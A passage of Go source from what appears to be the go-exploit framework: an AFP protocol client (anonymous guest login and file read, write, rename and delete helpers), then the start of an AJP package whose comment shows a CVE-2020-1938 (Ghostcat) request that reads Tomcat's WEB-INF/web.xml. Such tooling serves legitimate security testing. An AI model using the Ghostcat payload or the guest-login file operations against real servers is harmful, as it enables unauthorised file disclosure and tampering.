[]byte{\n\t\td.Flags,\n\t\td.Command,\n\t\tbyte(d.RequestID >> 8), byte(d.RequestID),\n\t\tbyte(d.ErrorCode >> 24), byte(d.ErrorCode >> 16), byte(d.ErrorCode >> 8), byte(d.ErrorCode),\n\t\tbyte(d.TotalDataLength >> 24), byte(d.TotalDataLength >> 16), byte(d.TotalDataLength >> 8), byte(d.TotalDataLength),\n\t\t0, 0, 0, 0,\n\t}\n}\n\n// Decode bytes into an FPPacket.\nfunc Decode(data []byte) (FPPacket, bool) {\n\tif len(data) < 16 {\n\t\toutput.PrintfFrameworkError(\"Couldn't decode bad AFP header with length %d\", len(data))\n\n\t\treturn FPPacket{}, false\n\t}\n\theader := Header{\n\t\tFlags:           data[0],\n\t\tCommand:         data[1],\n\t\tRequestID:       uint16(data[3]) | uint16(data[2])<<8,\n\t\tErrorCode:       uint32(data[7]) | uint32(data[6])<<8 | uint32(data[5])<<16 | uint32(data[4])<<24,\n\t\tTotalDataLength: uint32(data[11]) | uint32(data[10])<<8 | uint32(data[9])<<16 | uint32(data[8])<<24,\n\t}\n\tbody := data[16:]\n\n\treturn FPPacket{header, body}, true\n}\n\n// Connects to an AFP server and opens a session.\nfunc Connect(host string, port int, ssl bool) (net.Conn, bool) {\n\tconn, ok := protocol.MixedConnect(host, port, ssl)\n\tif !ok {\n\t\toutput.PrintfFrameworkDebug(\"Failed to connect to: %s:%d\", host, port)\n\n\t\treturn nil, false\n\t}\n\t_ = conn.SetWriteDeadline(time.Now().Add(time.Duration(protocol.GlobalCommTimeout) * time.Second))\n\t_ = conn.SetReadDeadline(time.Now().Add(time.Duration(protocol.GlobalCommTimeout) * time.Second))\n\tok = OpenSession(conn)\n\tif !ok {\n\t\toutput.PrintfFrameworkDebug(\"Failed to connect to: %s:%d\", host, port)\n\n\t\treturn nil, false\n\t}\n\n\treturn conn, true\n}\n\n// Connects to an AFP server and gets server information.\nfunc GetServerStatus(host string, port int, ssl bool) (*FPPacket, bool) {\n\tconn, ok := protocol.MixedConnect(host, port, ssl)\n\tif !ok {\n\t\toutput.PrintfFrameworkDebug(\"Failed to connect to: %s:%d\", host, port)\n\n\t\treturn nil, false\n\t}\n\t_ = conn.SetWriteDeadline(time.Now().Add(time.Duration(protocol.GlobalCommTimeout) * time.Second))\n\t_ = conn.SetReadDeadline(time.Now().Add(time.Duration(protocol.GlobalCommTimeout) * time.Second))\n\tdata := []byte{}\n\tpacket := CreateFPPacket(DSIGetStatus, data)\n\n\t// send message\n\tok = WritePacket(conn, packet)\n\tif !ok {\n\t\toutput.PrintfFrameworkDebug(\"Failed to get server status of: %s:%d\", host, port)\n\n\t\treturn nil, false\n\t}\n\t// read response\n\tresponse, ok := ReadPacket(conn)\n\tif !ok {\n\t\toutput.PrintfFrameworkDebug(\"Failed to get server status of: %s:%d\", host, port)\n\n\t\treturn nil, false\n\t}\n\tif response.Header.ErrorCode != 0 {\n\t\toutput.PrintfFrameworkDebug(\"Failed to get server status of: %s:%d\", host, port)\n\n\t\treturn nil, false\n\t}\n\n\treturn response, true\n}\n\n// Creates an AFP session.\nfunc OpenSession(conn net.Conn) bool {\n\t// from nmap lua library -- data = string.pack( \">BBI4\", option, option_len, quantum  )\n\tdata := []byte{}\n\tdata = append(data, byte(0x01))\n\tdata = append(data, byte(0x04))\n\tquantumBytes := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(quantumBytes, uint32(1024))\n\tdata = append(data, quantumBytes...)\n\n\tpacket := CreateFPPacket(DSIOpenSession, data)\n\n\t// send message\n\tok := WritePacket(conn, packet)\n\tif !ok {\n\t\treturn false\n\t}\n\n\t// read response\n\t_, ok = ReadPacket(conn)\n\n\treturn ok\n}\n\n// Disconnects from an active AFP session.\nfunc Disconnect(conn net.Conn) bool {\n\th := Header{\n\t\tFlags:     0x0,\n\t\tCommand:   DSICloseSession,\n\t\tRequestID: 1,\n\t}\n\tok := WritePacket(conn, FPPacket{h, nil})\n\tconn.Close()\n\n\treturn ok\n}\n\n// Reads bytes from connection and converts them to an FPPacket.\nfunc ReadPacket(conn net.Conn) (*FPPacket, bool) {\n\t// read response header\n\theaderBytes, ok := protocol.TCPReadAmountBlind(conn, 16)\n\tif !ok {\n\t\treturn nil, ok\n\t}\n\tpacket, ok := Decode(headerBytes)\n\tif !ok {\n\t\treturn nil, ok\n\t}\n\n\tif packet.Header.TotalDataLength > 0 {\n\t\tpacket.Body, ok = protocol.TCPReadAmountBlind(conn, int(packet.Header.TotalDataLength))\n\t\tif !ok {\n\t\t\treturn nil, ok\n\t\t}\n\t}\n\tif packet.Header.Flags == 0x0 {\n\t\tp, ok := ReadPacket(conn)\n\t\tif !ok {\n\t\t\treturn nil, ok\n\t\t}\n\t\tpacket = *p\n\t}\n\n\treturn &packet, ok\n}\n\n// Creates a FPPacket given a command byte and payload.\nfunc CreateFPPacket(command byte, payload []byte) FPPacket {\n\tdsiHeader := Header{\n\t\tFlags:           0x00,\n\t\tCommand:         command,\n\t\tRequestID:       uint16(0x01),\n\t\tErrorCode:       uint32(0x00),\n\t\tTotalDataLength: uint32(len(payload)),\n\t\tReserved:        uint32(0x00),\n\t}\n\n\treturn FPPacket{dsiHeader, payload}\n}\n\n// Converts FPPacket to bytes and sends them.\nfunc WritePacket(conn net.Conn, packet FPPacket) bool {\n\tmsg := []byte{}\n\tmsg = append(msg, packet.Header.Encode()...)\n\tmsg = append(msg, packet.Body...)\n\tok := protocol.TCPWrite(conn, msg)\n\n\treturn ok\n}\n\n// Logs into the AFP server as the guest user.\nfunc AnonymousLogin(conn net.Conn) bool {\n\t// self.proto:fp_login( \"AFP3.1\", \"No User Authent\" )\n\t// from nmap lua library -- data = string.pack( \"Bs1s1\", COMMAND.FPLogin, afp_version, uam )\n\tdata := []byte{}\n\tdata = append(data, AFPLogin)\n\tdata = append(data, uint8(len(\"AFP3.1\")))\n\tdata = append(data, \"AFP3.1\"...)\n\tdata = append(data, uint8(len(\"No User Authent\")))\n\tdata = append(data, \"No User Authent\"...)\n\n\tpacket := CreateFPPacket(DSICommand, data)\n\n\t// send message\n\tok := WritePacket(conn, packet)\n\tif !ok {\n\t\treturn false\n\t}\n\n\t// read response\n\t_, ok = ReadPacket(conn)\n\n\treturn ok\n}\n\n// Sends the Logout command to the AFP server.\nfunc Logout(conn net.Conn) bool {\n\t// from nmap lua library -- data = string.pack(\">Bx\", COMMAND.FPLogout)\n\tdata := []byte{}\n\tdata = append(data, AFPLogout)\n\tdata = append(data, byte(0))\n\n\tpacket := CreateFPPacket(DSICommand, data)\n\n\t// send message\n\tok := WritePacket(conn, packet)\n\tif !ok {\n\t\treturn false\n\t}\n\n\t// read response\n\t_, ok = ReadPacket(conn)\n\n\treturn ok\n}\n\n// Sends the OpenVolume command to the AFP server.\nfunc OpenVolume(conn net.Conn, bitmap uint16, volumeName []byte) (uint16, bool) {\n\t// from nmap lua library -- data = string.pack(\">BxI2s1\", COMMAND.FPOpenVol, bitmap, volume_name)\n\tdata := []byte{}\n\tdata = append(data, AFPOpenVol)\n\tdata = append(data, byte(0))\n\tbitmapBytes := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(bitmapBytes, bitmap)\n\tdata = append(data, bitmapBytes...)\n\tdata = append(data, uint8(len(volumeName)))\n\tdata = append(data, volumeName...)\n\n\tpacket := CreateFPPacket(DSICommand, data)\n\n\t// send message\n\tok := WritePacket(conn, packet)\n\tif !ok {\n\t\treturn 0, false\n\t}\n\n\t// read response\n\tresponse, ok := ReadPacket(conn)\n\tif !ok {\n\t\treturn 0, false\n\t}\n\t// get volume bitmap and volume id\n\t// from nmap lua library -- data = volume.bitmap, volume.volume_id, pos = string.unpack(\">I2I2\", response.packet.data)\n\tif len(response.Body) < 4 {\n\t\toutput.PrintfFrameworkDebug(\"Error Code %x\", response.Header.ErrorCode)\n\t\toutput.PrintfFrameworkDebug(\"No volume data for %s\", volumeName)\n\n\t\treturn 0, false\n\t}\n\tvolumeID := uint16(response.Body[3]) | uint16(response.Body[2])<<8\n\n\treturn volumeID, true\n}\n\n// Walks the root directory of a volume by opening the volume by ID.\nfunc WalkRootDir(conn net.Conn, path string) (uint16, uint32, bool) {\n\t// split the dir path\n\tpathElements := strings.Split(path, \"/\")\n\n\t// Open the volume by name (first component of the path)\n\tvolumeID, ok := OpenVolume(conn, VolBitmapID, []byte(pathElements[0]))\n\tif !ok {\n\t\toutput.PrintfFrameworkDebug(\"failed to open volume: %s\", pathElements[0])\n\n\t\treturn 0, 0, false\n\t}\n\tdirectoryID := uint32(2)\n\n\treturn volumeID, directoryID, true\n}\n\n// Sends the CreateFile command to the AFP server.\nfunc CreateFile(conn net.Conn, volumeID uint16, dirID uint32, fileName string) bool {\n\t// from nmap lua library -- data = string.pack(\">BBI2I4\", COMMAND.FPCreateFile, flag, vol_id, did) .. encode_path(path)\n\t// .. encode_path(path) -- string.pack(\"Bs1\", path.type-{2}-, path.name)\n\tdata := []byte{}\n\tdata = append(data, AFPCreateFile)\n\tdata = append(data, byte(0))\n\tvolIDBytes := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(volIDBytes, volumeID)\n\tdata = append(data, volIDBytes...)\n\tdirIDBytes := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(dirIDBytes, dirID)\n\tdata = append(data, dirIDBytes...)\n\tdata = append(data, byte(0x2))\n\tdata = append(data, uint8(len(fileName)))\n\tdata = append(data, []byte(fileName)...)\n\n\tpacket := CreateFPPacket(DSICommand, data)\n\n\t// send message\n\tok := WritePacket(conn, packet)\n\tif !ok {\n\t\treturn false\n\t}\n\n\t// read response\n\tresponse, ok := ReadPacket(conn)\n\tif !ok {\n\t\treturn false\n\t}\n\tif response.Header.ErrorCode != 0 {\n\t\treturn false\n\t}\n\n\treturn true\n}\n\n// Sends the OpenFork command to the AFP server.\nfunc OpenFork(conn net.Conn, flag byte, volumeID uint16, dirID uint32, bitmap uint16, accessMode uint16, path string) (*FPPacket, bool) {\n\tpathElements := strings.Split(path, \"/\")\n\tfileName := pathElements[len(pathElements)-1]\n\n\t// from nmap lua library -- data = string.pack( \">BBI2I4I2I2\", COMMAND.FPOpenFork, flag, volume_id, did, file_bitmap, access_mode ) .. encode_path(path)\n\tdata := []byte{}\n\tdata = append(data, AFPOpenFork)\n\tdata = append(data, flag)\n\tvolIDBytes := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(volIDBytes, volumeID)\n\tdata = append(data, volIDBytes...)\n\tdirIDBytes := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(dirIDBytes, dirID)\n\tdata = append(data, dirIDBytes...)\n\tfileBitmapBytes := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(fileBitmapBytes, bitmap)\n\tdata = append(data, fileBitmapBytes...)\n\taccessModeBytes := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(accessModeBytes, accessMode)\n\tdata = append(data, accessModeBytes...)\n\tdata = append(data, byte(0x2))\n\tdata = append(data, uint8(len(fileName)))\n\tdata = append(data, []byte(fileName)...)\n\n\tpacket := CreateFPPacket(DSICommand, data)\n\n\t// send message\n\tok := WritePacket(conn, packet)\n\tif !ok {\n\t\treturn nil, false\n\t}\n\n\t// read response\n\tresponse, ok := ReadPacket(conn)\n\tif !ok {\n\t\toutput.PrintfFrameworkDebug(\"Open Fork error not ok\")\n\n\t\treturn nil, false\n\t}\n\tif response.Header.ErrorCode != 0 {\n\t\toutput.PrintfFrameworkDebug(\"Open Fork error code: %x\", response.Header.ErrorCode)\n\n\t\treturn nil, false\n\t}\n\n\treturn response, true\n}\n\n// Sends the CloseFork command to the AFP server.\nfunc CloseFork(conn net.Conn, forkID uint16) bool {\n\t// from nmap lua library -- data = string.pack( \">BxI2\", COMMAND.FPCloseFork, fork )\n\tdata := []byte{}\n\tdata = append(data, AFPCloseFork)\n\tdata = append(data, byte(0))\n\tforkIDBytes := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(forkIDBytes, forkID)\n\tdata = append(data, forkIDBytes...)\n\n\tpacket := CreateFPPacket(DSICommand, data)\n\n\t// send message\n\tok := WritePacket(conn, packet)\n\tif !ok {\n\t\treturn false\n\t}\n\n\t// read response\n\t_, ok = ReadPacket(conn)\n\n\treturn ok\n}\n\n// Sends the FlushFork command to the AFP server.\nfunc FlushFork(conn net.Conn, forkID uint16) bool {\n\tdata := []byte{}\n\tdata = append(data, AFPFlushFork)\n\tdata = append(data, byte(0))\n\tforkIDBytes := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(forkIDBytes, forkID)\n\tdata = append(data, forkIDBytes...)\n\n\tpacket := CreateFPPacket(DSICommand, data)\n\n\t// send message\n\tok := WritePacket(conn, packet)\n\tif !ok {\n\t\treturn false\n\t}\n\n\t// read response\n\t_, ok = ReadPacket(conn)\n\n\treturn ok\n}\n\n// Sends the SetForkParams command to the AFP server.\nfunc SetForkParams(conn net.Conn, forkID uint16, bitmap uint16, size uint64) bool {\n\tdata := []byte{}\n\tdata = append(data, AFPSetForkParams)\n\tdata = append(data, byte(0x00))\n\tforkIDBytes := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(forkIDBytes, forkID)\n\tdata = append(data, forkIDBytes...)\n\tfileBitmapBytes := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(fileBitmapBytes, bitmap)\n\tdata = append(data, fileBitmapBytes...)\n\tsizeBytes := make([]byte, 8)\n\tbinary.BigEndian.PutUint64(sizeBytes, size)\n\tdata = append(data, sizeBytes...)\n\n\tpacket := CreateFPPacket(DSICommand, data)\n\n\t// send message\n\tok := WritePacket(conn, packet)\n\tif !ok {\n\t\treturn false\n\t}\n\n\t// read response\n\t_, ok = ReadPacket(conn)\n\n\treturn ok\n}\n\n// Sends the GetForkParams command to the AFP server.\nfunc GetForkParams(conn net.Conn, forkID uint16, bitmap uint16) (*FPPacket, bool) {\n\tdata := []byte{}\n\tdata = append(data, AFPGetForkParams)\n\tdata = append(data, byte(0x00))\n\tforkIDBytes := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(forkIDBytes, forkID)\n\tdata = append(data, forkIDBytes...)\n\tbitmapBytes := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(bitmapBytes, bitmap)\n\tdata = append(data, bitmapBytes...)\n\n\tpacket := CreateFPPacket(DSICommand, data)\n\n\t// send message\n\tok := WritePacket(conn, packet)\n\tif !ok {\n\t\treturn nil, false\n\t}\n\n\t// read response\n\tresponse, ok := ReadPacket(conn)\n\n\treturn response, ok\n}\n\n// Sends the ReadExt command to the AFP server.\nfunc ReadExt(conn net.Conn, forkID uint16, offset uint64, count uint64) (*FPPacket, bool) {\n\t// from nmap lua library -- data = string.pack( \">BxI2I8I8\", COMMAND.FPReadExt, fork, offset, count  )\n\tdata := []byte{}\n\tdata = append(data, AFPReadExt)\n\tdata = append(data, byte(0))\n\tforkIDBytes := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(forkIDBytes, forkID)\n\tdata = append(data, forkIDBytes...)\n\toffsetBytes := make([]byte, 8)\n\tbinary.BigEndian.PutUint64(offsetBytes, offset)\n\tdata = append(data, offsetBytes...)\n\tcountBytes := make([]byte, 8)\n\tbinary.BigEndian.PutUint64(countBytes, count)\n\tdata = append(data, countBytes...)\n\n\tpacket := CreateFPPacket(DSICommand, data)\n\n\t// send message\n\tok := WritePacket(conn, packet)\n\tif !ok {\n\t\treturn nil, false\n\t}\n\n\t// read response\n\tresponse, ok := ReadPacket(conn)\n\n\treturn response, ok\n}\n\n// Sends the WriteExt command to the AFP server.\nfunc WriteExt(conn net.Conn, forkID uint16, fdata []byte) bool {\n\t// from nmap lua library -- data = string.pack( \">BBI2I8I8\", COMMAND.FPWriteExt, flag, fork, offset, count) .. fdata\n\tdata := []byte{}\n\tdata = append(data, AFPWriteExt)\n\tdata = append(data, byte(0))\n\tforkIDBytes := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(forkIDBytes, forkID)\n\tdata = append(data, forkIDBytes...)\n\toffsetBytes := make([]byte, 8)\n\tbinary.BigEndian.PutUint64(offsetBytes, 0)\n\tdata = append(data, offsetBytes...)\n\tfdataLenBytes := make([]byte, 8)\n\tbinary.BigEndian.PutUint64(fdataLenBytes, uint64(len(fdata)))\n\tdata = append(data, fdataLenBytes...)\n\tdata = append(data, fdata...)\n\n\tpacket := CreateFPPacket(DSIWrite, data)\n\tpacket.Header.ErrorCode = uint32(20)\n\n\t// send message\n\tok := WritePacket(conn, packet)\n\tif !ok {\n\t\treturn false\n\t}\n\n\t// read response\n\tresponse, ok := ReadPacket(conn)\n\tif !ok {\n\t\treturn false\n\t}\n\tif response.Header.ErrorCode != 0 {\n\t\treturn false\n\t}\n\n\treturn true\n}\n\n// Sends the Move and Rename command to the AFP server.\nfunc MoveAndRenameFile(conn net.Conn, srcVolID uint16, srcDirID uint32, srcPath string, dstDirID uint32, dstPath string, dstName string) bool {\n\t// data = string.pack(\">BxI2I4I2I4\", COMMAND.FPCopyFile, src_vol, src_did, dst_vol, dst_did )\n\t//         .. encode_path({type=PATH_TYPE.UTF8Name, name=src_path})\n\t//         .. encode_path({type=PATH_TYPE.UTF8Name, name=dst_path})\n\t//         .. encode_path({type=PATH_TYPE.UTF8Name, name=new_name})\n\tutf8Bytes := []byte{0x08, 0x00, 0x01, 0x03}\n\n\tdata := []byte{}\n\tdata = append(data, AFPMoveAndRename)\n\tdata = append(data, byte(0x00))\n\tsrcVolIDBytes := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(srcVolIDBytes, srcVolID)\n\tdata = append(data, srcVolIDBytes...)\n\tsrcDirIDBytes := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(srcDirIDBytes, srcDirID)\n\tdata = append(data, srcDirIDBytes...)\n\tdstDirIDBytes := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(dstDirIDBytes, dstDirID)\n\tdata = append(data, dstDirIDBytes...)\n\t// Unicode names\n\tdata = append(data, byte(0x03))\n\tdata = append(data, utf8Bytes...)\n\tsrcPathLenBytes := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(srcPathLenBytes, uint16(len(srcPath)))\n\tdata = append(data, srcPathLenBytes...)\n\tdata = append(data, srcPath...)\n\tdata = append(data, byte(0x03))\n\tdata = append(data, utf8Bytes...)\n\tdstPathLenBytes := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(dstPathLenBytes, uint16(len(dstPath)))\n\tdata = append(data, dstPathLenBytes...)\n\tdata = append(data, dstPath...)\n\tdata = append(data, byte(0x03))\n\tdata = append(data, utf8Bytes...)\n\tdstNameLenBytes := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(dstNameLenBytes, uint16(len(dstName)))\n\tdata = append(data, dstNameLenBytes...)\n\tdata = append(data, dstName...)\n\n\tpacket := CreateFPPacket(DSICommand, data)\n\n\t// send message\n\tok := WritePacket(conn, packet)\n\tif !ok {\n\t\treturn false\n\t}\n\n\t// read response\n\t_, ok = ReadPacket(conn)\n\n\treturn ok\n}\n\n// Sends the AddAppl command to the AFP server.\nfunc AddAppl(conn net.Conn, volID uint16, dirID uint32, creator [4]byte, applTag [4]byte, path string) bool {\n\tdata := []byte{}\n\tdata = append(data, AFPAddAppl)\n\tdata = append(data, byte(0x00))\n\tvolIDBytes := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(volIDBytes, volID)\n\tdata = append(data, volIDBytes...)\n\tdirIDBytes := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(dirIDBytes, dirID)\n\tdata = append(data, dirIDBytes...)\n\tdata = append(data, creator[0])\n\tdata = append(data, creator[1])\n\tdata = append(data, creator[2])\n\tdata = append(data, creator[3])\n\tdata = append(data, applTag[0])\n\tdata = append(data, applTag[1])\n\tdata = append(data, applTag[2])\n\tdata = append(data, applTag[3])\n\tdata = append(data, byte(0x2))\n\tdata = append(data, uint8(len(path)))\n\tdata = append(data, []byte(path)...)\n\n\tpacket := CreateFPPacket(DSICommand, data)\n\n\t// send message\n\tok := WritePacket(conn, packet)\n\tif !ok {\n\t\treturn false\n\t}\n\n\t// read response\n\t_, ok = ReadPacket(conn)\n\n\treturn ok\n}\n\n// Sends the GetAppl command to the AFP server.\nfunc GetAppl(conn net.Conn, volID uint16, creator [4]byte, aIndex uint16, bitmap uint16) (*FPPacket, bool) {\n\tdata := []byte{}\n\tdata = append(data, AFPGetAppl)\n\tdata = append(data, byte(0x00))\n\tvolIDBytes := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(volIDBytes, volID)\n\tdata = append(data, volIDBytes...)\n\tdata = append(data, creator[0])\n\tdata = append(data, creator[1])\n\tdata = append(data, creator[2])\n\tdata = append(data, creator[3])\n\taIndexBytes := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(aIndexBytes, aIndex)\n\tdata = append(data, aIndexBytes...)\n\tbitmapBytes := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(bitmapBytes, bitmap)\n\tdata = append(data, bitmapBytes...)\n\n\tpacket := CreateFPPacket(DSICommand, data)\n\n\t// send message\n\tok := WritePacket(conn, packet)\n\tif !ok {\n\t\treturn nil, false\n\t}\n\n\t// read response\n\tresponse, ok := ReadPacket(conn)\n\n\treturn response, ok\n}\n\n// Sends the setfileparams command to the AFP server.\nfunc SetFilParams(conn net.Conn, volID uint16, dirID uint32, bitmap uint16, path string, buffer []byte) bool {\n\tdata := []byte{}\n\tdata = append(data, AFPSetFileParams)\n\tdata = append(data, byte(0x00))\n\tvolIDBytes := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(volIDBytes, volID)\n\tdata = append(data, volIDBytes...)\n\tdirIDBytes := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(dirIDBytes, dirID)\n\tdata = append(data, dirIDBytes...)\n\tbitmapBytes := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(bitmapBytes, bitmap)\n\tdata = append(data, bitmapBytes...)\n\tdata = append(data, byte(0x2))\n\tdata = append(data, uint8(len(path)))\n\tdata = append(data, []byte(path)...)\n\tdata = append(data, buffer...)\n\n\tpacket := CreateFPPacket(DSICommand, data)\n\n\t// send message\n\tok := WritePacket(conn, packet)\n\tif !ok {\n\t\treturn false\n\t}\n\n\t// read response\n\t_, ok = ReadPacket(conn)\n\n\treturn ok\n}\n\n// Sends the Delete command to the AFP server.\nfunc Delete(conn net.Conn, volumeID uint16, dirID uint32, path string) bool {\n\t// requires protocol 3.2 and specific support configured at build time.\n\tpathElements := strings.Split(path, \"/\")\n\tfileName := pathElements[len(pathElements)-1]\n\n\tdata := []byte{}\n\tdata = append(data, AFPDelete)\n\tdata = append(data, byte(0x00))\n\tvolIDBytes := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(volIDBytes, volumeID)\n\tdata = append(data, volIDBytes...)\n\tdirIDBytes := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(dirIDBytes, dirID)\n\tdata = append(data, dirIDBytes...)\n\tdata = append(data, byte(0x2))\n\tdata = append(data, uint8(len(fileName)))\n\tdata = append(data, []byte(fileName)...)\n\n\tpacket := CreateFPPacket(DSICommand, data)\n\n\t// send message\n\tok := WritePacket(conn, packet)\n\tif !ok {\n\t\treturn false\n\t}\n\n\t// read response\n\t_, ok = ReadPacket(conn)\n\n\treturn ok\n}\n\n// Reads a file in the root directory on a AFP server.\n// Works by looking up the file in the root volume, opening it's metadata file, and reading the file data.\n// The parameters are conn - a connection to the AFP server created by afp.Connect(), path - a string of the file to open,\n// and forkFlag, which is passed to OpenFork. To read just the file contents, it should be 0x00, to read\n// fork resource  data, it should be 0x02.\nfunc ReadFile(conn net.Conn, path string, forkFlag byte) ([]byte, bool) {\n\t// Step 1: Walk the directory tree to find volume and directory IDs\n\tvolumeID, dirID, ok := WalkRootDir(conn, path)\n\tif !ok {\n\t\treturn nil, false\n\t}\n\n\t// Step 2: Open the fork file\n\tresponse, ok := OpenFork(conn, forkFlag, volumeID, dirID, uint16(0x00), AccessModeRead, path)\n\tif !ok || len(response.Body) < 4 {\n\t\treturn nil, false\n\t}\n\tforkID := uint16(response.Body[3]) | uint16(response.Body[2])<<8\n\n\t// Step 3: Read data\n\treadData := []byte{}\n\toffset := uint64(0)\n\tcount := uint64(1024)\n\tfor {\n\t\tresponse, ok := ReadExt(conn, forkID, offset, count)\n\t\tif !ok {\n\t\t\tbreak\n\t\t}\n\t\tif response.Header.ErrorCode == 0 || response.Header.ErrorCode == 0xFFFFEC6F {\n\t\t\treadData = append(readData, response.Body...)\n\n\t\t\tbreak\n\t\t}\n\n\t\treadData = append(readData, response.Body...)\n\t\toffset += count\n\t}\n\n\t// step 4: close the fork file\n\tok = CloseFork(conn, forkID)\n\n\treturn readData, ok\n}\n\n// Writes a new file to the root directory of AFP Server.\n// The parameters are conn - a connection to the AFP server created by afp.Connect(), path - a string of the file to create,\n// fdata - the file data to write, and withFork - whether to create a fork metadata file.\nfunc WriteNewFile(conn net.Conn, path string, fdata []byte, withFork bool) bool {\n\t// Step 1: Walk the directory tree to find volume and directory IDs\n\tvolumeID, dirID, ok := WalkRootDir(conn, path)\n\tif !ok {\n\t\treturn false\n\t}\n\n\tpathElements := strings.Split(path, \"/\")\n\tfileName := pathElements[len(pathElements)-1]\n\n\t// Step 2: Create the file\n\tok = CreateFile(conn, volumeID, dirID, fileName)\n\tif !ok {\n\t\treturn false\n\t}\n\n\topenFlag := byte(0x00)\n\tif withFork {\n\t\topenFlag = byte(0x02)\n\t}\n\n\t// Step 3: Open the fork file\n\tresponse, ok := OpenFork(conn, openFlag, volumeID, dirID, uint16(0), AccessModeWrite, path)\n\tif !ok || len(response.Body) < 4 {\n\t\treturn false\n\t}\n\tforkID := uint16(response.Body[3]) | uint16(response.Body[2])<<8\n\n\t// Step 4: Write data\n\tok = WriteExt(conn, forkID, fdata)\n\tif !ok {\n\t\treturn false\n\t}\n\n\tok = CloseFork(conn, forkID)\n\n\treturn ok\n}\n\n// Writes to an existing file to the root directory of AFP Server.\n// The parameters are conn - a connection to the AFP server created by afp.Connect(), path - a string of the file to create,\n// fdata - the file data to write, and withFork - whether to create a fork metadata file.\nfunc WriteFile(conn net.Conn, path string, fdata []byte, withFork bool) bool {\n\t// Step 1: Walk the directory tree to find volume and directory IDs\n\tvolumeID, dirID, ok := WalkRootDir(conn, path)\n\tif !ok {\n\t\treturn false\n\t}\n\n\topenFlag := byte(0x00)\n\tif withFork {\n\t\topenFlag = byte(0x02)\n\t}\n\n\t// Step 2: Open the fork file\n\tresponse, ok := OpenFork(conn, openFlag, volumeID, dirID, uint16(0), AccessModeWrite, path)\n\tif !ok || len(response.Body) < 4 {\n\t\treturn false\n\t}\n\tforkID := uint16(response.Body[3]) | uint16(response.Body[2])<<8\n\n\t// Step 3: Write data\n\tok = WriteExt(conn, forkID, fdata)\n\tif !ok {\n\t\treturn false\n\t}\n\n\tok = CloseFork(conn, forkID)\n\n\treturn ok\n}\n\n// Deletes a file from the root directory of AFP Server via filename.\nfunc DeleteFile(conn net.Conn, path string) bool {\n\t// Step 1: Walk the directory tree to find volume and directory IDs\n\tvolumeID, dirID, ok := WalkRootDir(conn, path)\n\tif !ok {\n\t\treturn false\n\t}\n\n\t// Step 2: Delete file\n\tok = Delete(conn, volumeID, dirID, path)\n\tif !ok {\n\t\treturn false\n\t}\n\n\treturn ok\n}\n\n// Move and Renames an existing file to the root directory of AFP Server.\nfunc RenameFileHelper(conn net.Conn, srcPath string, dstPath string, dstName string) bool {\n\t// Step 1: Walk the directory trees to find volume and directory IDs\n\tvolumeID1, dirID1, ok := WalkRootDir(conn, srcPath)\n\tif !ok {\n\t\treturn false\n\t}\n\n\t_, dirID2, ok := WalkRootDir(conn, dstPath)\n\tif !ok {\n\t\treturn false\n\t}\n\n\tif dirID1 == dirID2 {\n\t\tdstPath = \"\"\n\t}\n\tpathElements := strings.Split(srcPath, \"/\")\n\tsrcFileName := pathElements[len(pathElements)-1]\n\n\t// Step 2: move files\n\tok = MoveAndRenameFile(conn, volumeID1, dirID1, srcFileName, dirID2, dstPath, dstName)\n\n\treturn ok\n}\n"
  },
  {
    "path": "protocol/ajp/ajp.go",
    "content": "// Package ajp is a very basic (and incomplete) implementation of the AJPv13 protocol. This implementation is\n// enough to send and receive GET requests. Usage example (CVE-2020-1938):\n//\n//\tattributes := []string{\n//\t\t\"javax.servlet.include.request_uri\",\n//\t\t\"/\",\n//\t\t\"javax.servlet.include.path_info\",\n//\t\t\"WEB-INF/web.xml\",\n//\t\t\"javax.servlet.include.servlet_path\",\n//\t\t\"/\",\n//\t}\n//\n//\tstatus, data, ok := ajp.SendAndRecv(conf.Rhost, conf.Rport, conf.SSL, \"/\"+random.RandLetters(12), \"GET\", []string{}, attributes)\n//\tif !ok {\n//\t\treturn false\n//\t}\n//\tif status != 200 {\n//\t\treturn false\n//\t}\n//\n// For details on the protocol see: https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html\npackage ajp\n\nimport (\n\t\"encoding/binary\"\n\t\"net\"\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/protocol\"\n\t\"github.com/vulncheck-oss/go-exploit/transform\"\n)\n\ntype method byte\n\nconst (\n\tOPTIONS method = 1\n\tGET     method = 2\n\tHEAD    method = 3\n\tPOST    method = 4\n\tPUT     method = 5\n\tDELETE  method = 6\n)\n\ntype reqType byte\n\nconst (\n\tFORWARD  reqType = 2\n\tSHUTDOWN reqType = 7\n\tPING     reqType = 8\n\tCPING    reqType = 10\n)\n\ntype respType byte\n\nconst (\n\tSENDBODYCHUNK respType = 3\n\tSENDHEADERS   respType = 4\n\tENDRESPONSE   respType = 5\n)\n\ntype definedHeaders uint16\n\nconst (\n\tACCEPT         definedHeaders = 